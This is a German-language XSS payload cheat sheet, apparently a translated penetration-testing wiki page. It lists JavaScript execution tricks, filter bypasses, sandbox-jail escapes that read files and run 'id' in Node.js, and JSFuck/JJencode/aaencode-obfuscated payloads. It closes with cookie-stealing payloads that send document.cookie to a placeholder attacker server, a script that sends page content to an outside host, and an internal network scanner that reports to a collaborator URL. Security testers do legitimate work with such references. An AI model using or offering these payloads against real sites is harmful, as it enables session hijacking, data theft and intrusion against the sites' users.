// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Willkürlicher Funktionsaufruf (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM-Schwachstellen

Es gibt JS-Code, der unsichere Daten verwendet, die von einem Angreifer kontrolliert werden, wie location.href. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen. Aufgrund der Erweiterung der Erklärung von DOM-Schwachstellen wurde es auf diese Seite verschoben:

DOM XSS

Dort finden Sie eine detaillierte Erklärung, was DOM-Schwachstellen sind, wie sie provoziert werden und wie man sie ausnutzt. Vergessen Sie auch nicht, dass am Ende des erwähnten Beitrags eine Erklärung zu DOM Clobbering-Angriffen zu finden ist.

Selbst-XSS aufrüsten

Wenn Sie ein XSS auslösen können, indem Sie die Payload in einem Cookie senden, handelt es sich normalerweise um ein Selbst-XSS. Wenn Sie jedoch eine anfällige Subdomain für XSS finden, könnten Sie dieses XSS ausnutzen, um ein Cookie in der gesamten Domain einzufügen und so das Cookie-XSS in der Hauptdomain oder anderen Subdomains (denen, die anfällig für Cookie-XSS sind) auszulösen. Dafür können Sie den Cookie-Tossing-Angriff verwenden:

Cookie Tossing

Sie finden einen großartigen Missbrauch dieser Technik in diesem Blogbeitrag.

Ihre Sitzung an den Administrator senden

Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn das Selbst-XSS im Profil des Benutzers ist und der Administrator darauf zugreift, wird er die Schwachstelle auslösen.

Sitzungs-Spiegelung

Wenn Sie ein Selbst-XSS finden und die Webseite eine Sitzungs-Spiegelung für Administratoren hat, die es beispielsweise den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.

Sie könnten den Administrator dazu bringen, Ihr Selbst-XSS auszulösen und seine Cookies/Sitzung stehlen.

Andere Umgehungen

Normalisierte Unicode

Sie könnten überprüfen, ob die reflektierten Werte auf dem Server (oder auf der Client-Seite) unicode-normalisiert werden und diese Funktionalität ausnutzen, um Schutzmaßnahmen zu umgehen. Hier ein Beispiel finden.

PHP FILTER_VALIDATE_EMAIL-Flag-Umgehung

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Aufgrund der RoR-Massenzuweisung werden Zitate in das HTML eingefügt und dann wird die Zitatbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können. Formularbeispiel (aus diesem Bericht), wenn Sie die Payload senden:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Das Paar "Key","Value" wird wie folgt zurückgegeben:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.

Besondere Kombinationen

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS mit Header-Injection in einer 302-Antwort

Wenn Sie feststellen, dass Sie Header in einer 302-Redirect-Antwort injizieren können, könnten Sie versuchen, den Browser dazu zu bringen, beliebiges JavaScript auszuführen. Dies ist nicht trivial, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist, sodass eine Cross-Site-Scripting-Nutzlast nutzlos ist.

In diesem Bericht und diesem hier können Sie lesen, wie Sie mehrere Protokolle im Location-Header testen und sehen, ob eines von ihnen es dem Browser ermöglicht, die XSS-Nutzlast im Körper zu inspizieren und auszuführen. Frühere bekannte Protokolle: mailto://, //x:1/, ws://, wss://, leerer Location-Header, resource://.

Nur Buchstaben, Zahlen und Punkte

Wenn Sie in der Lage sind, den Callback anzugeben, den JavaScript ausführen wird, beschränkt auf diese Zeichen. Lesen Sie diesen Abschnitt dieses Beitrags, um herauszufinden, wie Sie dieses Verhalten ausnutzen können.

Gültige <script> Content-Types für XSS

(Von hier) Wenn Sie versuchen, ein Skript mit einem Content-Type wie application/octet-stream zu laden, wird Chrome den folgenden Fehler ausgeben:

Weigerte sich, das Skript von ‘https://uploader.c.hc.lc/uploads/xxx' auszuführen, da sein MIME-Typ (‘application/octet-stream’) nicht ausführbar ist und die strenge MIME-Typ-Prüfung aktiviert ist.

Die einzigen Content-Types, die Chrome unterstützen, um ein geladenes Skript auszuführen, sind die, die im const kSupportedJavascriptTypes von https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc enthalten sind.

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script-Typen für XSS

(From here) Also, welche Typen könnten angezeigt werden, um ein Skript zu laden?

<script type="???"></script>
  • Modul (Standard, nichts zu erklären)

  • Webbundle: Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in einer .wbn-Datei bündeln können.

<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Ermöglicht die Verbesserung der Import-Syntax

<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Dieses Verhalten wurde in diesem Bericht verwendet, um eine Bibliothek auf eval umzuleiten, um auszunutzen, dass es XSS auslösen kann.

  • speculationrules: Dieses Feature dient hauptsächlich dazu, einige Probleme zu lösen, die durch das Vorab-Rendering verursacht werden. Es funktioniert so:

<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Web-Inhaltstypen für XSS

(From here) Die folgenden Inhaltstypen können XSS in allen Browsern ausführen:

  • text/html

  • application/xhtml+xml

  • application/xml

  • text/xml

  • image/svg+xml

  • text/plain (?? nicht in der Liste, aber ich glaube, ich habe das in einem CTF gesehen)

  • application/rss+xml (aus)

  • application/atom+xml (aus)

In anderen Browsern können andere Content-Types verwendet werden, um beliebiges JS auszuführen, siehe: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml-Inhaltstyp

Wenn die Seite einen text/xml-Inhaltstyp zurückgibt, ist es möglich, einen Namensraum anzugeben und beliebiges JS auszuführen:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Besondere Ersetzungsmuster

Wenn etwas wie "some {{template}} data".replace("{{template}}", <user_input>) verwendet wird. Der Angreifer könnte besondere Zeichenersetzungen verwenden, um zu versuchen, einige Schutzmaßnahmen zu umgehen: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Zum Beispiel in diesem Bericht wurde dies verwendet, um einen JSON-String innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.

Chrome-Cache zu XSS

Chrome Cache to XSS

XS Jails Escape

Wenn Sie nur eine begrenzte Anzahl von Zeichen verwenden können, überprüfen Sie diese anderen gültigen Lösungen für XSJail-Probleme:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Wenn alles undefiniert ist, bevor nicht vertrauenswürdigen Code ausgeführt wird (wie in diesem Bericht), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes auszunutzen:

  • Verwendung von import()

// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • Indirektes Zugreifen auf require

Nach diesem werden Module von Node.js innerhalb einer Funktion eingekapselt, so:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Daher, wenn wir aus diesem Modul eine andere Funktion aufrufen können, ist es möglich, arguments.callee.caller.arguments[1] aus dieser Funktion zu verwenden, um auf require zuzugreifen:

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, Fehlerbehandler zu verwenden, um auf den Wrapper des Moduls zuzugreifen und die require-Funktion zu erhalten:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Obfuskation & Fortgeschrittener Bypass

//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSS häufige Payloads

Mehrere Payloads in 1

Steal Info JS

Iframe Falle

Lassen Sie den Benutzer auf der Seite navigieren, ohne ein Iframe zu verlassen, und stehlen Sie seine Aktionen (einschließlich Informationen, die in Formularen gesendet werden):

Iframe Traps

Cookies abrufen

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Sie werden nicht in der Lage sein, auf die Cookies von JavaScript zuzugreifen, wenn das HTTPOnly-Flag im Cookie gesetzt ist. Aber hier haben Sie einige Möglichkeiten, diesen Schutz zu umgehen, wenn Sie genug Glück haben.

Seiteninhalt stehlen

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Interne IPs finden

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

